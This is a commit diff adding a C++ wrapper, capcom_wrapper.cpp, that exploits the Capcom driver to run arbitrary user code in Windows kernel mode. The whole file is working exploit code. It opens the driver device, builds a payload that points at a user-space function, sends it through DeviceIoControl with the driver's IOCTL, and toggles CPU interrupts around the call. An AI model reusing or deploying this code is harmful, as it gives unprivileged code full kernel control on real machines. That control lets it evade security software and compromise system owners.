Add lightweight capcom wrapper code

libcapcom/capcom_wrapper.cpp

@@ -0,0 +1,66 @@
+#include <intrin.h>
+#pragma intrinsic(_disable)  
+#pragma intrinsic(_enable)  
+
+#include "capcom_wrapper.h"
+#include "capcom_payload.h"
+
+using namespace capcom::payload;
+
+namespace capcom::wrapper
+{
+	std::function<void(MmGetSystemRoutineAddress_t)> user_space_function;
+
+	// wrap the std::function inside a generic function call, so we can easily grab this function pointer
+	void capcom_function_wrapper(MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress)
+	{
+		user_space_function(_MmGetSystemRoutineAddress);
+	}
+
+	DWORD capcom_send_payload(HANDLE device, std::function<void(MmGetSystemRoutineAddress_t)> user_function)
+	{
+		user_space_function = user_function;
+
+		capcom_payload* payload = build_capcom_payload((uintptr_t)&capcom_function_wrapper);
+		DWORD output_buffer;
+		DWORD bytes_returned;
+		if (DeviceIoControl(device, ioctl_x64, &payload->ptr_to_code, 8, &output_buffer, 4, &bytes_returned, nullptr))
+		{
+			VirtualFree(payload, sizeof(capcom_payload), MEM_RELEASE);
+			return 0;
+		}
+
+		VirtualFree(payload, sizeof(capcom_payload), MEM_RELEASE);
+		return GetLastError();
+	}
+
+	capcom_wrapper::capcom_wrapper()
+	{
+		open_driver_handle();
+	}
+
+	void capcom_wrapper::open_driver_handle()
+	{
+		driver_handle = CreateFile(device_name.c_str(), FILE_ALL_ACCESS, FILE_SHARE_READ, nullptr, FILE_OPEN, FILE_ATTRIBUTE_NORMAL, nullptr);
+	}
+
+	void capcom_wrapper::close_driver_handle()
+	{
+		CloseHandle(driver_handle);
+	}
+
+	void capcom_wrapper::execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function)
+	{
+		// let's pray that we don't context switch in the middle of calling our function :)
+		std::function<void(MmGetSystemRoutineAddress_t)> call_with_interrupts = 
+			[&user_function](MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress)
+			{
+				_enable();
+				user_function(_MmGetSystemRoutineAddress);
+				_disable();
+			};
+
+
+		capcom_send_payload(driver_handle, call_with_interrupts);
+	}
+}